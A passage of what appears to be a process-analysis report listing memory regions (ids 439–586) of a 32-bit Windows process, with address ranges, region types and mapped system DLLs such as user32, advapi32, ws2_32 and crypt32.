	        start_va = 0x20000
	          end_va = 0x23fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 439
	        start_va = 0x74d70000
	          end_va = 0x74eaffff
	     entry_point = 0x74d70000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 440
	        start_va = 0x76ca0000
	          end_va = 0x76decfff
	     entry_point = 0x76ca0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 441
	        start_va = 0x1d0000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 442
	        start_va = 0x330000
	          end_va = 0x359fff
	     entry_point = 0x330000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 443
	        start_va = 0x1f20000
	          end_va = 0x201ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f20000"
	        filename = ""

Region:
	              id = 444
	        start_va = 0x2020000
	          end_va = 0x21a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002020000"
	        filename = ""

Region:
	              id = 445
	        start_va = 0x7ffd8000
	          end_va = 0x7ffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffd8000"
	        filename = ""

Region:
	              id = 446
	        start_va = 0x775e0000
	          end_va = 0x7760afff
	     entry_point = 0x775e0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 447
	        start_va = 0x76f70000
	          end_va = 0x7708ffff
	     entry_point = 0x76f70000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 448
	        start_va = 0x77a10000
	          end_va = 0x77acdfff
	     entry_point = 0x77a10000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 449
	        start_va = 0x21b0000
	          end_va = 0x227ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021b0000"
	        filename = ""

Region:
	              id = 450
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 451
	        start_va = 0x210000
	          end_va = 0x210fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 452
	        start_va = 0x2280000
	          end_va = 0x2400fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002280000"
	        filename = ""

Region:
	              id = 453
	        start_va = 0x2410000
	          end_va = 0x380ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002410000"
	        filename = ""

Region:
	              id = 454
	        start_va = 0x77990000
	          end_va = 0x77a0afff
	     entry_point = 0x77990000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 455
	        start_va = 0x77250000
	          end_va = 0x77292fff
	     entry_point = 0x77250000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 456
	        start_va = 0x77af0000
	          end_va = 0x77b9bfff
	     entry_point = 0x77af0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 457
	        start_va = 0x74d50000
	          end_va = 0x74d6dfff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 458
	        start_va = 0x74d40000
	          end_va = 0x74d49fff
	     entry_point = 0x74d40000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 459
	        start_va = 0x74ce0000
	          end_va = 0x74d38fff
	     entry_point = 0x74ce0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")

Region:
	              id = 460
	        start_va = 0x74b70000
	          end_va = 0x74b93fff
	     entry_point = 0x74b70000
	     region_type = mapped_file
	            name = "winmm.dll"
	        filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll")

Region:
	              id = 461
	        start_va = 0x74b40000
	          end_va = 0x74b62fff
	     entry_point = 0x74b40000
	     region_type = mapped_file
	            name = "winmmbase.dll"
	        filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll")

Region:
	              id = 462
	        start_va = 0x75030000
	          end_va = 0x75065fff
	     entry_point = 0x75030000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 463
	        start_va = 0x74b10000
	          end_va = 0x74b30fff
	     entry_point = 0x74b10000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll")

Region:
	              id = 464
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 465
	        start_va = 0x330000
	          end_va = 0x36ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 466
	        start_va = 0x370000
	          end_va = 0x373fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000370000"
	        filename = ""

Region:
	              id = 467
	        start_va = 0x390000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000390000"
	        filename = ""

Region:
	              id = 468
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 469
	        start_va = 0x21b0000
	          end_va = 0x21effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021b0000"
	        filename = ""

Region:
	              id = 470
	        start_va = 0x21f0000
	          end_va = 0x222ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021f0000"
	        filename = ""

Region:
	              id = 471
	        start_va = 0x2230000
	          end_va = 0x226ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002230000"
	        filename = ""

Region:
	              id = 472
	        start_va = 0x2270000
	          end_va = 0x227ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002270000"
	        filename = ""

Region:
	              id = 473
	        start_va = 0x3810000
	          end_va = 0x390ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003810000"
	        filename = ""

Region:
	              id = 474
	        start_va = 0x3910000
	          end_va = 0x3a0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003910000"
	        filename = ""

Region:
	              id = 475
	        start_va = 0x3a10000
	          end_va = 0x3b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a10000"
	        filename = ""

Region:
	              id = 476
	        start_va = 0x3b10000
	          end_va = 0x3c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b10000"
	        filename = ""

Region:
	              id = 477
	        start_va = 0x3c10000
	          end_va = 0x3d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c10000"
	        filename = ""

Region:
	              id = 478
	        start_va = 0x3d10000
	          end_va = 0x3d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d10000"
	        filename = ""

Region:
	              id = 479
	        start_va = 0x3d50000
	          end_va = 0x3e4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d50000"
	        filename = ""

Region:
	              id = 480
	        start_va = 0x3e50000
	          end_va = 0x3e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e50000"
	        filename = ""

Region:
	              id = 481
	        start_va = 0x3e90000
	          end_va = 0x3f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e90000"
	        filename = ""

Region:
	              id = 482
	        start_va = 0x3f90000
	          end_va = 0x3fcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f90000"
	        filename = ""

Region:
	              id = 483
	        start_va = 0x3fd0000
	          end_va = 0x40cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fd0000"
	        filename = ""

Region:
	              id = 484
	        start_va = 0x40d0000
	          end_va = 0x410ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040d0000"
	        filename = ""

Region:
	              id = 485
	        start_va = 0x4110000
	          end_va = 0x420ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004110000"
	        filename = ""

Region:
	              id = 486
	        start_va = 0x4210000
	          end_va = 0x424ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004210000"
	        filename = ""

Region:
	              id = 487
	        start_va = 0x4250000
	          end_va = 0x434ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004250000"
	        filename = ""

Region:
	              id = 488
	        start_va = 0x4350000
	          end_va = 0x438ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004350000"
	        filename = ""

Region:
	              id = 489
	        start_va = 0x4390000
	          end_va = 0x448ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004390000"
	        filename = ""

Region:
	              id = 490
	        start_va = 0x4490000
	          end_va = 0x44cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004490000"
	        filename = ""

Region:
	              id = 491
	        start_va = 0x44d0000
	          end_va = 0x45cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000044d0000"
	        filename = ""

Region:
	              id = 492
	        start_va = 0x45d0000
	          end_va = 0x460ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045d0000"
	        filename = ""

Region:
	              id = 493
	        start_va = 0x4610000
	          end_va = 0x470ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004610000"
	        filename = ""

Region:
	              id = 494
	        start_va = 0x4710000
	          end_va = 0x474ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004710000"
	        filename = ""

Region:
	              id = 495
	        start_va = 0x4750000
	          end_va = 0x484ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004750000"
	        filename = ""

Region:
	              id = 496
	        start_va = 0x4850000
	          end_va = 0x488ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004850000"
	        filename = ""

Region:
	              id = 497
	        start_va = 0x4890000
	          end_va = 0x498ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004890000"
	        filename = ""

Region:
	              id = 498
	        start_va = 0x4990000
	          end_va = 0x49cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004990000"
	        filename = ""

Region:
	              id = 499
	        start_va = 0x49d0000
	          end_va = 0x4acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049d0000"
	        filename = ""

Region:
	              id = 500
	        start_va = 0x4ad0000
	          end_va = 0x4b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ad0000"
	        filename = ""

Region:
	              id = 501
	        start_va = 0x4b10000
	          end_va = 0x4c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b10000"
	        filename = ""

Region:
	              id = 502
	        start_va = 0x4c10000
	          end_va = 0x4c4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c10000"
	        filename = ""

Region:
	              id = 503
	        start_va = 0x4c50000
	          end_va = 0x4d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c50000"
	        filename = ""

Region:
	              id = 504
	        start_va = 0x4d50000
	          end_va = 0x4d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d50000"
	        filename = ""

Region:
	              id = 505
	        start_va = 0x4d90000
	          end_va = 0x4e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d90000"
	        filename = ""

Region:
	              id = 506
	        start_va = 0x4e90000
	          end_va = 0x4ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e90000"
	        filename = ""

Region:
	              id = 507
	        start_va = 0x4ed0000
	          end_va = 0x4fcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ed0000"
	        filename = ""

Region:
	              id = 508
	        start_va = 0x4fd0000
	          end_va = 0x500ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fd0000"
	        filename = ""

Region:
	              id = 509
	        start_va = 0x5010000
	          end_va = 0x510ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005010000"
	        filename = ""

Region:
	              id = 510
	        start_va = 0x5110000
	          end_va = 0x514ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005110000"
	        filename = ""

Region:
	              id = 511
	        start_va = 0x5150000
	          end_va = 0x524ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005150000"
	        filename = ""

Region:
	              id = 512
	        start_va = 0x5250000
	          end_va = 0x528ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005250000"
	        filename = ""

Region:
	              id = 513
	        start_va = 0x5290000
	          end_va = 0x538ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005290000"
	        filename = ""

Region:
	              id = 514
	        start_va = 0x5390000
	          end_va = 0x53cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005390000"
	        filename = ""

Region:
	              id = 515
	        start_va = 0x53d0000
	          end_va = 0x54cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053d0000"
	        filename = ""

Region:
	              id = 516
	        start_va = 0x7fe6b000
	          end_va = 0x7fe6dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe6b000"
	        filename = ""

Region:
	              id = 517
	        start_va = 0x7fe6e000
	          end_va = 0x7fe70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe6e000"
	        filename = ""

Region:
	              id = 518
	        start_va = 0x7fe71000
	          end_va = 0x7fe73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe71000"
	        filename = ""

Region:
	              id = 519
	        start_va = 0x7fe74000
	          end_va = 0x7fe76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe74000"
	        filename = ""

Region:
	              id = 520
	        start_va = 0x7fe77000
	          end_va = 0x7fe79fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe77000"
	        filename = ""

Region:
	              id = 521
	        start_va = 0x7fe7a000
	          end_va = 0x7fe7cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe7a000"
	        filename = ""

Region:
	              id = 522
	        start_va = 0x7fe7d000
	          end_va = 0x7fe7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe7d000"
	        filename = ""

Region:
	              id = 523
	        start_va = 0x7fe80000
	          end_va = 0x7fe82fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe80000"
	        filename = ""

Region:
	              id = 524
	        start_va = 0x7fe83000
	          end_va = 0x7fe85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe83000"
	        filename = ""

Region:
	              id = 525
	        start_va = 0x7fe86000
	          end_va = 0x7fe88fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe86000"
	        filename = ""

Region:
	              id = 526
	        start_va = 0x7fe89000
	          end_va = 0x7fe8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe89000"
	        filename = ""

Region:
	              id = 527
	        start_va = 0x7fe8c000
	          end_va = 0x7fe8efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe8c000"
	        filename = ""

Region:
	              id = 528
	        start_va = 0x7fe8f000
	          end_va = 0x7fe91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe8f000"
	        filename = ""

Region:
	              id = 529
	        start_va = 0x7fe92000
	          end_va = 0x7fe94fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe92000"
	        filename = ""

Region:
	              id = 530
	        start_va = 0x7fe95000
	          end_va = 0x7fe97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe95000"
	        filename = ""

Region:
	              id = 531
	        start_va = 0x7fe98000
	          end_va = 0x7fe9afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe98000"
	        filename = ""

Region:
	              id = 532
	        start_va = 0x7fe9b000
	          end_va = 0x7fe9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe9b000"
	        filename = ""

Region:
	              id = 533
	        start_va = 0x7fe9e000
	          end_va = 0x7fea0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fe9e000"
	        filename = ""

Region:
	              id = 534
	        start_va = 0x7fea1000
	          end_va = 0x7fea3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fea1000"
	        filename = ""

Region:
	              id = 535
	        start_va = 0x7fea4000
	          end_va = 0x7fea6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fea4000"
	        filename = ""

Region:
	              id = 536
	        start_va = 0x7fea7000
	          end_va = 0x7fea9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fea7000"
	        filename = ""

Region:
	              id = 537
	        start_va = 0x7feaa000
	          end_va = 0x7feacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007feaa000"
	        filename = ""

Region:
	              id = 538
	        start_va = 0x7fead000
	          end_va = 0x7feaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fead000"
	        filename = ""

Region:
	              id = 539
	        start_va = 0x7ffd5000
	          end_va = 0x7ffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffd5000"
	        filename = ""

Region:
	              id = 540
	        start_va = 0x54d0000
	          end_va = 0x55cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054d0000"
	        filename = ""

Region:
	              id = 541
	        start_va = 0x55d0000
	          end_va = 0x5906fff
	     entry_point = 0x55d0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 542
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 543
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 544
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 545
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 546
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 547
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 548
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 549
	        start_va = 0x3d0000
	          end_va = 0x3e5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 550
	        start_va = 0x5910000
	          end_va = 0x610ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005910000"
	        filename = ""

Region:
	              id = 551
	        start_va = 0x6110000
	          end_va = 0x690ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006110000"
	        filename = ""

Region:
	              id = 552
	        start_va = 0x6910000
	          end_va = 0x6921fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006910000"
	        filename = ""

Region:
	              id = 553
	        start_va = 0x3d0000
	          end_va = 0x3e1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003d0000"
	        filename = ""

Region:
	              id = 554
	        start_va = 0x3d0000
	          end_va = 0x3e1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003d0000"
	        filename = ""

Region:
	              id = 555
	        start_va = 0x3d0000
	          end_va = 0x3d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 556
	        start_va = 0x3d0000
	          end_va = 0x3d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 557
	        start_va = 0x77ba0000
	          end_va = 0x77c31fff
	     entry_point = 0x77ba0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 558
	        start_va = 0x77090000
	          end_va = 0x77249fff
	     entry_point = 0x77090000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")

Region:
	              id = 559
	        start_va = 0x5910000
	          end_va = 0x59f8fff
	     entry_point = 0x5910000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 560
	        start_va = 0x74b00000
	          end_va = 0x74b07fff
	     entry_point = 0x74b00000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 561
	        start_va = 0x77430000
	          end_va = 0x77519fff
	     entry_point = 0x77430000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 562
	        start_va = 0x748f0000
	          end_va = 0x74af8fff
	     entry_point = 0x748f0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll")

Region:
	              id = 563
	        start_va = 0x3e0000
	          end_va = 0x3e0fff
	     entry_point = 0x3e0000
	     region_type = mapped_file
	            name = "windowsshell.manifest"
	        filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")

Region:
	              id = 564
	        start_va = 0x3f0000
	          end_va = 0x3f1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003f0000"
	        filename = ""

Region:
	              id = 565
	        start_va = 0x74880000
	          end_va = 0x748e6fff
	     entry_point = 0x74880000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv")

Region:
	              id = 566
	        start_va = 0x74860000
	          end_va = 0x7487afff
	     entry_point = 0x74860000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 567
	        start_va = 0x755b0000
	          end_va = 0x7696efff
	     entry_point = 0x755b0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 568
	        start_va = 0x750d0000
	          end_va = 0x755acfff
	     entry_point = 0x750d0000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")

Region:
	              id = 569
	        start_va = 0x75080000
	          end_va = 0x750c3fff
	     entry_point = 0x75080000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 570
	        start_va = 0x76f60000
	          end_va = 0x76f6bfff
	     entry_point = 0x76f60000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")

Region:
	              id = 571
	        start_va = 0x778a0000
	          end_va = 0x7792cfff
	     entry_point = 0x778a0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")

Region:
	              id = 572
	        start_va = 0x777f0000
	          end_va = 0x77833fff
	     entry_point = 0x777f0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")

Region:
	              id = 573
	        start_va = 0x75070000
	          end_va = 0x7507efff
	     entry_point = 0x75070000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 574
	        start_va = 0x74850000
	          end_va = 0x74857fff
	     entry_point = 0x74850000
	     region_type = mapped_file
	            name = "wsock32.dll"
	        filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll")

Region:
	              id = 575
	        start_va = 0x77930000
	          end_va = 0x7798bfff
	     entry_point = 0x77930000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 576
	        start_va = 0x77ad0000
	          end_va = 0x77ad6fff
	     entry_point = 0x77ad0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 577
	        start_va = 0x74840000
	          end_va = 0x74845fff
	     entry_point = 0x74840000
	     region_type = mapped_file
	            name = "shfolder.dll"
	        filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll")

Region:
	              id = 578
	        start_va = 0x74eb0000
	          end_va = 0x75024fff
	     entry_point = 0x74eb0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 579
	        start_va = 0x77ae0000
	          end_va = 0x77aedfff
	     entry_point = 0x77ae0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 580
	        start_va = 0x5910000
	          end_va = 0x5cf1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005910000"
	        filename = ""

Region:
	              id = 581
	        start_va = 0x5d00000
	          end_va = 0x60dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d00000"
	        filename = ""

Region:
	              id = 582
	        start_va = 0x5910000
	          end_va = 0x5940fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005910000"
	        filename = ""

Region:
	              id = 583
	        start_va = 0x3e0000
	          end_va = 0x3e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003e0000"
	        filename = ""

Region:
	              id = 584
	        start_va = 0x5950000
	          end_va = 0x6dd2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005950000"
	        filename = ""

Region:
	              id = 585
	        start_va = 0x6de0000
	          end_va = 0x6f07fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006de0000"
	        filename = ""

Region:
	              id = 586
	        start_va = 0x6de0000
	          end_va = 0x6de0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006de0000"
	        filename = ""

Region:
